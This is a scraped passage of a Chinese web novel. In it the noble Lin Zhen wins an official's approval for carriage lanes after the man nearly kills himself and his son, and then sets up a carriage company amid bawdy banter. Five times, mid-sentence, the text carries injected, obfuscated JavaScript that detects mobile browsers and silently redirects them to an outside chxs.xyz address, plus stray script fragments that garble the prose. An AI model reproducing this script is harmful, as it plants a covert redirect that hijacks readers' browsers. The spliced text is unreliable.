这老头吃枪药了吧?怎么上来就骂我呢? 林臻一脸愕然连忙拱手行 礼,心中满是困惑:“宋大人,晚辈应该没得罪过你吧?你这是干什么? 宋正林喷了林臻一脸唾沫星子。“呸!你少在老夫面前惺惺作态!你们与顾家斗法,关我们这些吃俸禄的官员何事?难道老夫不参与你们的斗争也不行吗? 他冷哼一声,语气中满是愤慨:“哼!老夫告诉你,我老宋家百年门庭,满门忠烈,从没有过孬种,这就先走一步去地府等你! 宋正林说完抬手就要抹脖子。 卧槽! 别介啊大哥,我是来谈生意的! 晚了。 以林臻的速度根本来不及阻拦。 然而就在这生死悬于一线的瞬间,院落的大门处骤然响起两声凄厉而焦急的呼喊。 “爹!! “老爷!! 林臻闻声猛回头,只见秦氏与宋正林的小儿子宋宣,竟意外地出现在那里。 宋正林的手在空中凝固,那把锋利的长剑仍嵌在他的颈侧,鲜血顺着剑刃缓缓滑落,染红了衣襟。他的眼神空洞而绝望,望向匆匆奔来的妻儿,声音中带着无尽的悲愤与不解。 “我不是让你们快走吗?为何还要回来! 宋宣今年只有十岁,满脸泪痕,哭得撕心裂肺。他不顾一切地向父亲奔去,小小的身影在阳光下被拉得老长,每一步都踏在了人心中最柔软的地方,让这紧张到窒息的氛围中,添上了一抹难以言喻的温情与哀伤。 “爹!爹! “宣儿不要您死!!呜呜呜 长剑“哐当一声,沉重地砸落在青石板上,回响在空旷的庭院里,伴随着这一声清脆,宋正林的双腿仿佛失去了所有的力气,瘫坐在地。 他痛苦将儿子搂住,同样泣不成声。 “你这傻孩子 秦氏走过来,噗通一声跪在林臻面前。 “世子!她的声音颤抖,满是哀求。 “诶诶诶!伯母,您是干什么?林臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789273|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被这突如其来的举动惊得连连后退,反应过来后又伸手去扶,双手慌忙伸出,可秦氏跪得十分坚定,就是不起来。 “世子,我求求您,我家老爷一生清廉,从没贪污过朝廷一分钱,家中的孩子们更是品行端正,从未做过半分出格之事 “夫人!宋正林喊道:“不必求这种狼子野心之辈! 宋正林瞪着通红的眼睛对林臻喊道:“林臻,老夫三十五年来兢兢业业,为国为民,倘若你尚存一丝大乾子民的良知,就看在老夫昔日的功勋上,放过小子, 我们夫妻俩的命,随你拿去!” 林臻都快无语死了,额上隐隐浮现出几道黑线,哭笑不得地说道:“不是.你们能不能让我说句话啊!” 宋正林冷哼一声:“哼!就知道你不会同意。事已至此,多说无益!宣儿,我宋家儿郎绝没有贪生怕死之辈!士可杀,不可辱,你先去吧.” 他的话语未落,脸色倏地一沉,犹如乌云压顶。他艰难地爬向一旁的长剑,手指颤抖却坚定地握住剑柄,反手就要攮死自己儿子! 卧槽! 林臻都看傻眼了! 虎毒不食子啊。 这老爷子竟然选择杀子存义,这也太TM刚烈了吧! “宋大人且慢!”林臻大吼一声,随即闪身过去,一脚将长剑踢飞。 啪—— “宋大人,你这是干什么?我可从来没说过要杀你们啊!” “不杀我?那你来我府上做什么!” “我是来找你帮忙的。” “哼,你以为老夫会因为贪生怕死就选择与你林家合作吗?妄想!” “我” 这古代的老学究真是太可怕了。 说抹脖子就抹脖子,还杀儿子! 天呐,林臻感觉自己的三观都要被这老头震碎了。 他蹲下身,细声细语地说道。 “宋大人,我真不是来找麻烦的,陛下那车马行经营惨淡,如今托付于我,我也是万般无奈,只得厚着脸皮来求您相助了。您一直以来为大乾的江山社稷呕心沥血,总不能眼睁睁看着陛下的这份家业日日赔钱,着急上火吧?” 第141章 和这样的人说话真费劲 得知林臻的来意后宋正林那副要死要活的模样终于收敛了几分。在老妻秦氏的悉心照料下他稳稳地坐上了椅子颈间缠绕着厚重的纱布显得颇为狼狈。一旁大夫正凝神为他诊脉气氛凝重。 宋正林目光落在脚下的地砖上幽幽地叹了口气心中满是对刚才那番失态的羞愧。 他自问行事无愧于心却因一场无端的恐慌在林臻面前上演了如此一出闹剧。 他甚至不敢深想若非小儿子恰在此时出现在门外他此刻恐怕已是一具冰冷的尸体更遑论此事将会给林臻乃至整个王府带来怎样的影响。 宋正林的双眸里藏着深深的自责他朝林臻微微欠身他对林臻说道:“世子是下官莽撞了请世子恕罪。” 林臻还不知道自己名声已经臭大街了全当是老头被廉强的事情吓得失了分寸于是友好地笑道:“宋大人不必如此只是车马行的事情是陛下钦点晚辈不得已才登门拜访的。” “下官对经商之道一窍不通世子为何偏偏选中下官呢?” 这也是宋正林最好奇的问题。如果说林臻去找家里养着商贾的官员倒也说得过去毕竟自己的情况朝堂没几个人不知道。 如果林臻对此说不出个所以然来他肯定还要怀疑林臻的目的。 林臻深知眼前这位老者是个浸淫学问、固守传统的老学究便也不再绕弯子直言不讳地道:“您确实不懂经商但是城镇规划的权力却在您手里晚辈今天来是想请宋大人首肯能在朱雀、玄武、青龙、白虎四条大街上规划出专供马车通行的隔离道路以方便马车通行。” 言罢林臻将对城区的规划娓娓道来当谈及百姓不得随意横穿街道只能循规蹈矩地行走于指定路径时宋正林的脸色微微一沉显然对此颇有微词。 宋正林当即摆了摆手语重心长地道。“世子您说在巷子里设置停车位的事情下官可以允许。但是不允许百姓上街是什么道理?这大乾到底还是百姓的大乾不是世子的。” 林臻轻叹一声不得不再次解释道:“宋大人误解我的意思了百姓不是不能上街而是出于安全考虑不让他们步入马车行驶的专用道路。试想马车风驰电掣一旦碰撞后果不堪设想。” “即便如此也难以令人信服啊。这城里的一砖一瓦皆是百姓汗水所化到头来 林臻无奈地撇撇嘴 心说这老头也太古板了。 “城市发展如潮涌动,民生改善更是时代所需。我们不能死板地遵循旧制,马车行的诞生不仅为民众的出行提供了极大的便利,也让车夫们得以养家糊口,陛下更是能从中获取一份可观的收益。更深远地讲,这样的交通网络能让军队如臂使指,迅速集结,对于国家、百姓、乃至君王,这都是一件利国利民的大好事。 为了兼顾安全与便捷,我们可以在适当的距离内设立交通岗,让百姓能够安全地横穿马车道。而这些交通岗自然需要专人指挥,如此一来,不仅保障了行人的安全,还为社会增添了一份新的就业机会。百姓们作为直接的受益者,心中自然是欢喜的,又怎会生出半分怨言呢?还望宋大人不要墨守成规,就此应允了吧。 宋正林把诊脉的手收回来,轻轻捋了捋下巴上那缕山羊胡须,眼神深邃。 一旁的大夫恭敬地行了一礼,未吐半字,便携着药箱悄然退去,只留下一室静谧与未尽之言。 末了,宋正林说道:“如果这么说,此事倒还有些可取之处不过此乃世子一面之词,究竟是不是陛下的意思,还有待商榷。 林臻都快无语死了。 和这种不贪财、不好色、不要好处,又偏偏卡着权力不肯松口的人谈事情,真TM费劲。 “那宋大人以为如何呢? 宋正林闻言,露出意味深长的笑容:“呵呵呵,其实世子大可以直接去街上画马车道,何须屈尊降贵地得到下官的同意呢?下官同意与否有那么重要吗? “当然重要,规矩方圆,乃治国平天下的基石,岂能随性而为?否则江山社稷还不乱套了? “世子,你知不知道,这句话在你嘴里说出来犹为可笑!? 林臻强压下心头的怒火,依旧保持着冷静与耐心。 “那是因为你不够了解我。我虽然杀人,但杀的都是该杀之人。譬如顾家的那些府兵,他们的恶行早已罄竹难书;又如那廉松,虽然他并非直接死于我手,却是我麾下之人代为执行的天罚。此人恶贯满盈,屡屡欺压百姓,凌辱无辜少女,却因顾家的庇护,得以逍遥法外,逃脱律法的严惩,所以我只好代替律法出手。 “我身为摄政王世子,虽没有王爷那样上打昏君,下斩奸臣的权力,但若要取几个恶贯满盈的凡人性命,却并无不妥。正如宋大人看到的那样,我从来没有和哪个朝廷官员过不去。 “这与您商量城市规划不同。您一人管理着整个大乾的城镇规划,想在街道上做文章就需 要得到您的同意,这不仅是对您的尊重,更是陛下尽忠。若手里有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789274|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权力就便妄图越俎代庖,擅自决断,那我和顾家那对父子有什么区别?” 林臻所言句句在理,诚恳之意溢于言表,即便是宋正林这等饱经风霜、学富五车的老夫子,也不得不暗暗点头,挑不出半点毛病。 廉强一案,宋正林自是有所耳闻,同时他对于此人的品性与官风更是心知肚明。 所以他出事,宋正林只会拍手叫好,绝不会怪罪林臻,相反他要感谢林臻出手除掉这么一个蛀虫。 他之所以对林臻抱有敌意,乃至初见时竟生出自杀之念,完全是因为林臻的名声太臭了。 百官因为廉强的事情对林臻恨之入骨,天天对宋正林洗脑,林臻有多么多么歹毒,多么多么可恨,这才让他有了先入为主的思想。 而今细细想来,宋正林才恍然觉悟,自己是被那些流言蜚语误导了。 眼前这位王府世子,可比那些人靠谱得很。 宋正林轻轻颔首,嘴角勾勒出一抹温和的笑意:“下官受教了,马车道的事情世子大可以放手去做,下官一定全程配合。” 林臻闻言,胸中郁结顿散,随即拱手作揖,诚挚道:“如此,多谢了。” “世子言重了,只要是能帮助百姓的事情,下官一定尽力而为!若世子不忙的话,不如.留下来吃顿饭吧?” 林臻看了看桌子上的清汤寡水,心说还不如我自己家呢。 于是他婉拒道:“多谢大人美意,只是在下还需即刻着手马车行的事情,不敢稍有懈怠。宋大人且安心休养,晚辈告辞。” 宋正林欲起身相送,奈何林臻步履轻盈,恍若一阵清风,瞬间便走出了院落。 他是一分钟也不想多呆。 和这样的老夫子说话,心累嘴也累。 宋正林的目光追随林臻那渐行渐远的背影,嘴角含笑,频频颔首,手中轻捻着花白的胡须,转身向着身后朗声吩咐道:“来人呐,速速重新备下一桌丰盛饭菜!老夫今日定要开怀畅饮,大快朵颐一番!哈哈哈哈” 老妻秦氏一直默默立于后侧,听着他们的话语,只觉云遮雾绕,不甚明了。她缓缓走出,一脸疑惑地问道:“老爷又为何如此高兴?” 宋正林望向秦氏,眼中闪烁着光芒,笑道:“夫人啊,世子大人绝非外界所传那般阴狠毒辣之辈,实则是一位真正胸怀天下、心系苍生的忠臣啊!为夫钦佩至极。难怪陛下现在对他另眼相看!” “来人,沐浴更衣!老夫饭后要进宫去见陛下!” 第142章 差不多有这么大哦! 林臻出了门还暗暗腹诽呢。 该死的老头,说了半天话连给水也不给喝一口。 奶奶的,我堂堂王府世子找个工部尚书办事还这么费劲,传出去都给穿越者丢人。 不过话又说回来,这也是没办法的事情。 受林震仙这尊大神的掣肘,自己只能按部就班地去做事,因为林家没有造反的可能。 好不容易在老爷子心中积累起来的好印象,可不能随随便便就扔掉。 满心郁闷的林臻步至府邸大门外,只见二狗与侯春正蹲在地上,眼睛直勾勾地盯着过往的姑娘,时不时还吹上几声口哨,吓得那些小姑娘如惊弓之鸟,撒腿便往家中逃去。 “啊!流氓呀!! 丢人啊。 林臻气得一人赏了一脚。 砰—— 砰—— “他奶奶的!一天到晚得败坏老子名声! 这哥俩都是战场退下来的,林臻踹上一脚不痛不痒,二狗更是嬉皮笑脸地凑上前来,打趣道:“谢世子赏脚! 言罢,三人便悠哉游哉地朝着赌场的方向踱去。 沿途之上,偶尔能见到几辆马车缓缓行进,但那速度之慢,几乎与步行无异。除非是实在懒得迈腿之人,否则鲜少有人愿意乘坐这等“慢如蜗牛 林臻的目光不经意间落在了马车屁股上,心中忽地闪过一丝异样,仿佛觉得那里缺失了些什么。 对了,是车牌号! 然而,在这个时代,车牌号的作用并不那么显著,不过若是要用来管理车马,倒也是个不错的法子。 来到赌场的时候,两尊弥勒佛像宛如忠诚的门神,巍然矗立,它们那慈祥而又不失庄严的面容,仿佛能洞察世间的一切纷扰。 佛像前,两只古朴的香炉轻烟缭绕,细长的香火悠悠升起,交织成一幅连绵不绝、宁静致远的画面。 估计是来赌博的客人上的香,希望佛祖他老人家保佑自己发大财。 其实林臻觉得世人很有意思,不管做什么事情都要祈求神灵保佑自己。像那些作恶多端的人贩子也会拜祖师爷,成天打砸抢的黑涩会也信菩萨。 最好笑的事情,在后世时林臻曾去过一家不太正经的洗浴,门口供奉的竟然是一尊一米八高的红脸睁眼睛的关二爷。 咋滴?让二爷保佑你们家窑子生意兴隆,妓女们忠肝义胆呗? 更为奇绝的是,弥勒佛尊前香炉内袅袅升起的灰蓝烟雾,不似寻常庙宇中那般肆意飘散,反而 在半空轻盈一转,化作一抹细长的青烟,细丝般温柔地缠绕着赌场那座三层小楼。恍若苍穹之上的神祇向赌场吐出一个烟圈,将其温柔地拥入怀抱。 林臻凝视良久,不明白这样奇异的景象究竟是何原因造成的。但这份神秘莫测,无疑为赌场增添了几分超脱尘世的仙气,使之更显不凡。 英雄赌场在张俪与林臻的精心打理之下可谓一日三变,其生意之兴隆,远超同城诸家赌场,门庭若市,热闹非凡,就连大门前也安排了一红一绿,两种颜色长裙的女子当门童。 林臻打眼看去,发现这竟然是一对双胞胎! 是双胞胎哦~ 嘿嘿,嘿嘿嘿嘿。 见林臻走过来,两名女子笑着靠近,一人搂住林臻一只手臂道:“老板~您来了呀~ “你们怎么认识我的? “上次老板来的时候,人家就看到您了呢! “就是呀,世子这么帅气,当然是一眼就能看到~ 不错,口活儿口才也很好。 林臻被她们俩说得心花怒放,先是在她们的陪同下在赌场一楼转了一圈。 不错,张俪办事效率很高,所有赌桌上的银两铜钱已经全部变成了筹码,上面写着面额,后面刻有英雄二字,只是不知道她是怎么做的防伪,等下得问问。 钱怕假钱,筹码也怕有假货,一旦有贼人做出来赝品然后来这里换钱,林臻肯定会哭死的。 “老板,您要不要玩两把呢?奴家陪您~ 林臻笑着看向搂着自己手臂的美人,低声问道:“你叫什么名字? “回世子的话,奴家姓闫,单名一个苗字。 “你是姐姐还是妹妹? “奴家是姐姐,妹妹叫闫菲。 闫菲,闫苗,真是好名字啊。 说不定可以在某音搜到。 “今天不玩了,有正事要办,你们也去忙吧。 “是。 林臻脱离两位女子的温柔环抱,转身上楼,二狗和侯春则是继续在赌场里闲逛。 林臻悄无声息地将书房的门推开一条缝隙,室内景致温馨而雅致,张俪正端庄地接待着一位访客。 那访客不是别人,正是身着翠绿长裙、娇俏可人的晴雯。小丫头与张俪并肩而坐,两人笑语盈盈,气氛融洽。 林臻没着急进去,而是偷听着里面的动静。 “姐姐,你可不知道,世子他呀,简直是厉害得紧呢!晴雯的话语中带着几分俏皮,她双手食指轻轻 比划着,仿佛在空中勾勒出一个难以言喻的轮廓:“差不多有这么大哦!” 张俪闻言,惊讶之情溢于言表,不由自主地用手捂住了樱桃小嘴,眼眸中闪烁着娇羞与难以置信:“啊?真的假的?不会不会痛吗?” “刚开始还疼痛些,后来就慢慢舒爽了。姐姐若有机会,定要亲身体验一番!世子他精通诸多花样,诸如什么前背包、后背包之类的,我也不懂,但瞧他施展起来,确是令人叹为观止!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789275|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我才不稀罕呢,那般庞然大物,想想都吓人。” “哪里吓人了?要不今晚我便带你回去?放心,世子他啊,逃不出我的手掌心!”晴雯笑得狡黠,眼中闪烁着算计的光芒。 真是个心思玲珑的丫头。 见张俪愿意为她在车马行的事情上奔走,便也愿意投桃报李,与她一起分享林臻;浣碧帮不上她什么,她就屡次出言挖苦。 小妮子,看晚上回去我怎么收拾你。 林臻清咳两声,推门进去。 踏入屋内,便见晴雯的眼眸倏地亮了起来,而那目光略带刻意地滑落至他的下身。 两位佳人见状,一同站起身,柔声唤道:“世子。” “嗯。”林臻轻轻点头,目光转向晴雯,温声道:“你怎么在这?” 晴雯嘴角勾起一抹流氓笑,答道:“世子不是吩咐奴婢要多向张俪姐姐请教吗?所以奴婢就来了呀~嘻嘻嘻~那世子又是为何而来呢?莫非,是心中挂念着奴婢了~” 言罢,她便要伸手去拉扯林臻,吓得林臻连忙向后退开。 “别闹!臭丫头,天天就想着那档子事,成何体统!我来是有正事!” “什么事情能有这个正呀!” “别乱动,给我坐好了!”林臻绷着脸,佯装怒意。 晴雯全然不惧,端坐在椅上,一双明眸紧紧锁定在林臻衣襟的下摆处,仿佛那儿藏着无尽的秘密。 张俪坐在一边,尴尬得几乎能用脚趾抠出个三室一厅来。 方才自己与晴雯的私房话,肯定被林臻听了个一清二楚。 这以后见面,还怎么好意思嘛! 林臻对晴雯说道:“车马行的事情我有一个新的想法,你等会就去海州庙把所有马车都编号,编号取四位数,从一到九千九百九十九。这中间的号码你随便用,但是要记住,九十九以内的小号给官员留着,豹子号给富商留着” 眼见晴雯心不在焉,只盯着自己下面猛看,林臻怒声吼道:“我TM跟你说话呢,你能不能认真点?” 晴雯眨了眨卡姿兰的大眼睛:“奴婢很认真呀!” “那你一直看着我?” “世子说话的时候奴婢不应该看着您吗?” “那你别看着我下面啊,你这色眯眯的成什么样子!” “哦~难道说世子的不让看嘛?既然如此,以后奴婢都不看了呢~” 妖精 林臻真有些生气了。 该玩玩该闹闹,该打炮打炮,但交代给你正事的时候你必须得有个态度啊。 “晴雯,我最后再跟你说一遍,不许胡闹了!” “是是是,奴婢知道了~不就是编号嘛,等下就去安排。”晴雯略有些委屈地撅起嘴巴,这才让林臻好受些。 第143章 连世子的女人都敢惦记? 张俪轻盈起身,为林臻斟上一盏温热的茶,茶香袅袅间林臻接过,一饮而尽,这才觉得干涩的喉咙舒服些。 他转向晴雯,轻声问道:“今天有多少人离开了?” 晴雯闻言嘴角微垂,哀怨地道:“三百个车夫就剩下六十个了。” “暂时够用,回头再招吧。至于这六十位车夫,暂且将他们的份子钱减至五十文,等车夫招齐之后,我们马车行就要步入正轨了。到时候我再详细告诉你。” 林臻以前经常会到企业里调研,学习他们的企业文化,钻研他们的成功特点。久而久之,他对如何管理企业,也有着自己的一套独特见解。竖立积极典型,表彰优秀员工,以微薄的利益鼓励,以毫无用处的虚荣心来刺激其他员工上进,此等策略,不胜枚举。 林臻没太将这件事情放在心上,言语间流露出一抹随性与淡然。他轻轻侧头,目光温柔地投向了身旁的张俪,继续缓缓道来。 “俪儿,你找几队木作,于那四条主要街道之上,绘制出隔离的车道。车道宽度定为五丈,中间再添一道标线,如此便可容得两辆马车并肩而行。不论朝向何方,马车皆需靠右行驶。每隔两百丈,便设一十字路口,供行人穿梭往来。此外,我会吩咐兵马司,派遣人手于路口值守,指引马车有序行进。” “等会儿我会亲自画图给你。” 木作其实就是装修队,他们手里有大量廉价的染料。 千万别小看染料,这在大乾可不是什么便宜东西,尤其是珍稀的紫色染料,几乎与一两黄金等价。 晴雯秀眉一蹙,当即不乐意了。 她霍然起身,双手叉腰:“不行!这是我的活计,怎么能让张俪姐姐去呢!我也会找木作!” 林臻含笑应允,摆摆手示意她坐下:“行行行,那就交给你,银子不够尽管来找俪儿支取,但须谨记,钱财之事,需得精打细算,不可肆意挥霍,否则我就收回你车马行掌柜的身份!” “知道啦世子~” “另外,我们车马行还没有个金字招牌,要不你俩琢磨一个?” 张俪轻轻歪着头,玉手撑着如云的秀鬓,眸光流转。 良久,她的眼眸忽地一亮:“世子叫林臻,不如就叫至臻车马行吧!” “至臻.” 这名字很熟啊,好像在哪听过。 晴雯闻言,双眸弯成了月牙状,满心欢喜地拍着手,赞不绝口::“至臻!真是个好名字!世子,我们就叫至臻吧!” 林臻微微颔首,嘴角勾 勒出一抹温润的笑意:“嗯,我也觉得此名甚妙。 望着两位佳人笑颜如花,林臻的心境也随之豁然开朗。 在这纷扰的红尘中,快乐是如此难得而珍贵。 夕阳如织,温柔地铺满了整条街道,将一切染上了一层梦幻的金辉。晴雯在这条被晚霞拥抱的路上,轻盈地跳跃着,步伐中带着孩童般的纯真与欢愉。 她哼着昨日林臻唱过的那首歌谣,旋律悠扬,仿佛能随风起舞,与这绚烂的黄昏交织成一幅动人的画卷。 她脚下的翠绿绣花鞋,随着步伐轻轻摆动,时而隐于裙摆之下,时而俏皮地跃入空中,如同林间跳跃的精灵。两条乌黑油亮的长辫子,随着她的动作轻轻拍打着肩头,带着少女特有的灵动与活力。 笑靥如花地弯下腰,指尖轻巧地勾起一朵在微风中摇曳的牵牛花,细心地摘去尾部,随后将其挂在领口,那花儿仿佛成了她胸前最别致的装饰,映衬着她无忧无虑、清澈如水的眼眸。 这一刻的晴雯,仿佛世间所有的烦恼都被这温柔的夕阳融化,只留下心中那份最纯粹的快乐与自由。 她就这样,带着一颗未被尘世沾染的心,继续在这条洒满金色光辉的路上欢快地前行,每一步都踏出了青春的旋律,每一声哼唱都是对生活的热爱与向往。 “日落西山红霞飞,战士打靶把营归把营归~~胸前红花映彩霞,愉快滴歌声满天飞~~ “米搜拉米搜~~拉搜拉搜诶?拉搜什么来着? 晴雯蓦地驻足,小脑袋轻轻一侧,陷入了沉思,那模样似是在竭力捕捉着某段遗落的记忆,却终究只能无奈地勾起嘴角,漾开一抹笑意:“算啦~~ 言罢,她轻盈转身,对着身后不远的韩忠朗声唤道:“阿忠!还有你,老鼠,你俩磨蹭什么呢?快些跟上来,怎的离我那么远? 韩忠跟在晴雯后面,心里是一万句草泥马啊。 想当年,老子也是战场上浴血奋战、手刃敌虏的勇士,更是为大乾立过功勋的英雄!如今被派来陪林臻赌博泡妞也就罢了,这怎么还被派过来保护个丫鬟呢? 天理何在啊!! “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789276|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴雯姑娘,男女有别,而且我叫韩忠,不是什么阿忠。 “且~我还不知道男女有别?真是个死木头,世子怎么会派你来保护我呢无趣!晴雯嘟着嘴回身,继续往前走,身影在阳光下轻盈跳跃,宛如春日里最生动的精灵。 正行间,前方一位男子吸引了她的注意。他身着一袭青衫,简约而不失风雅,脑后随意 绑着的布条随风轻扬,颇有几分文人墨客的超凡脱俗,嘴里咿咿呀呀地喊着:“关关雎鸠,在河之洲。窈窕淑女,君子好逑。” 那声音虽不高亢,却饱含深情。 晴雯并未将此事放在心上,打算轻轻掠过,不料那男子又开口言道:“这位姑娘,仿佛是命运的丝线将你我牵引至此,不知小生是否有幸得知姑娘的芳名?” 晴雯嘴角勾起一抹玩味的笑,饶有兴致地回应:“哦?你喜欢我?” 男子略显踟蹰,随即诚挚道:“呃……在下……姑娘确是天生丽质,容颜倾城,自初见那一刻,便已令在下心驰神往,难以自持。” 晴雯轻笑出声,声音清脆悦耳,如同林间溪流潺潺,余音不绝:“咯咯咯咯,你还文绉绉的!不过嘛,本姑娘已经名花有主啦,你再另去寻你的窈窕淑女吧。” 他冲着晴雯的背影喊道:“姑娘!我可以等你吗?” 黄鼠满脸尖酸刻薄地走过来,狠狠在他屁股上踹了一脚。 啪—— “啊!嘶”男子呲牙咧嘴地捂住后腰。 黄鼠骂道:“等你奶奶个腿!妈的,小东西活拧了?连世子的女人都敢惦记?” 男子当即大惊:“什么?世子?” “瞎了你的狗眼,还不快滚!” 男子被吓得魂飞魄散,脚底生风,瞬间消失得无影无踪。 黄鼠见状,不屑地朝他离去的方向啐了一口,骂道:“呸,晦气。” 韩忠对他这副仗势欺人的架势很不爽,走过来冷声道:“你们跟着世子多年,就学会个欺负老实人?” “老韩,你总装出一副清高的样子行不行?我们是当兵的,重要的是服从命令!“咱们是当兵的,最重要的就是服从命令!世子让我们保护好晴雯姑娘,那咱们就得尽心尽力,不能有任何闪失!” 韩忠闻言,只是轻蔑地哼了一声,随后便不再言语,继续迈开大步向前走去。 第144章 回去给世子上柱香! 三人一前两后悠然步入了昔日的海州庙。 而今这海州庙早已褪去了神圣庙宇的外衣就连那镌刻着岁月痕迹的庙门牌匾也已被悄然摘下静候着新车马行招牌的加冕。 两侧围墙大半已颓然倒下余下的部分则被巧妙地拓宽化作了一扇足以让四辆马车并肩驰骋的宏伟门户。 高高的门槛也被砍掉重新铺设一排整整齐齐的青砖。 昔日里庄严肃穆的藏经阁、药师殿及各色佛殿皆已改头换面不复旧观。 慕容嫣的一道旨意让这些地方有了新的作用:有的改成了车夫宿舍有的改成马厩有的被改成了修补马车的作坊。 总而言之至臻车马行已经一切准备就绪只等着挂上牌匾画好道路便可以正式营业了。 晴雯在韩忠与黄鼠的护送下走进院子径直来到大雄宝殿。殿前原本空旷的小广场已换了一番景象香炉不见踪影取而代之的是排列得井井有条的马车阵列。因场地有限更多的马车被安置在大殿两侧及后方形成一幅错落有致的画面。 只不过这些马车上都没有马所有马匹都在马厩里养着只有在上工的时候才会牵出来。 晴雯立于大雄宝殿之前轻轻转身目光温柔地掠过空地上六十名车夫他们一个个垂头耷拉脑的提不起任何精神。 本来是想进城打工给家里赚份贴己钱谁成想钱没赚到反而每天还要倒贴八十文能坚持一天已经是他们的极限了很多选择留下来的车夫也开始打退堂鼓。 晴雯的声音如银铃般清脆悦耳轻轻响起:“大家都回来了吗?” 魏大勇是最早入职的车夫在制度更改之后也没有选择离开而是继续坚持。 察觉到周围的一片静默他主动跨前一步恭敬地答道:“回掌柜的话都回来了。” 晴雯看了看魏大勇那略显黝黑而瘦削的身影给予了一个鼓励的微笑随后视线缓缓扫过在场的每一个人。 “嗯大家都来说说今天收益怎么样?” “额”一时间车夫们的脸上似乎都蒙上了一层淡淡的忧愁欲言又止难以启齿。 唯独魏大勇他的笑容中带着几分质朴与坦诚露出洁白的牙齿与周遭的氛围格格不入。“回掌柜的 晴雯问其他人:“你们呢?” “小的仅得六十七文铜钱连上交的份子钱也难以凑齐”一个车夫唉声叹气眉宇间满是愁云。 “我才赚了四十文 “掌柜的,这条路实在拥挤,很多时候马车的速度竟比不上步行,客人们都不愿再乘坐我们的车了。 “再这么下去,我们都要赔死了。 众人纷纷附和,士气低落至极。 望着这群垂头丧气的车夫,晴雯轻轻摆了摆手,脸上露出温暖的笑容,鼓励道:“不要紧的,世子已经发话了,自今日起,你们六十位老兄每人只需缴纳五十文的份子钱,而后来加入的兄弟则需照旧,八十文不变。 “念及近日生计艰难,收成欠佳,这几日便暂且免去你们的份子,你们辛苦所得,且先自行留着吧。待过几天,四条大街画好了马车道,我们再正式营业! 此言一出,车夫们的脸上瞬间绽放出灿烂的笑容,欢呼声此起彼伏。 “真的啊? “太好了!多谢掌柜的! “我今天赚了四十文,能带老婆孩子去吃顿肉了! “掌柜的,我替我们全家谢谢你啊! 晴雯姑娘笑靥如花,轻轻摆手,“不必谢我,要谢就谢世子吧,这都是他的主意! “回去我就给世子上柱香! “就是,什么他妈的佛祖保佑?屁!谁都不如世子对我们这些苦命人体恤! “谁让我全家吃饱饭,谁就是神仙! “你!晴雯伸出她那如葱白般细嫩的手指,轻轻一点,直指眼前的魏大勇。 魏大勇一愣,随即也抬手指了指自己,脸上写满了困惑。 晴雯见状,嘴角勾起一抹浅笑,轻轻点了点头,“就是你,你叫什么名字? 魏大勇连忙躬身行礼,声音中带着一丝不易察觉的颤抖:“回掌柜的话,小人名叫魏大勇。 “好名字,听起来就很精神!以后我就叫你大勇吧,从今往后,你便是我们至臻马车行新任的队正了。份子钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789277|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛,就定为三十文。 晴雯笑着说:“你可要给我好好干哦~以后不仅需要给其他车夫们树立个榜样,而且还要负责教授其他车夫怎么拉客,争取让兄弟们都赚到钱。 魏大勇激动得都不知道说什么好了。 他本以为,从先前的八十文份子钱降到五十文已经非常幸运,没想到现在竟又降到了三十文! 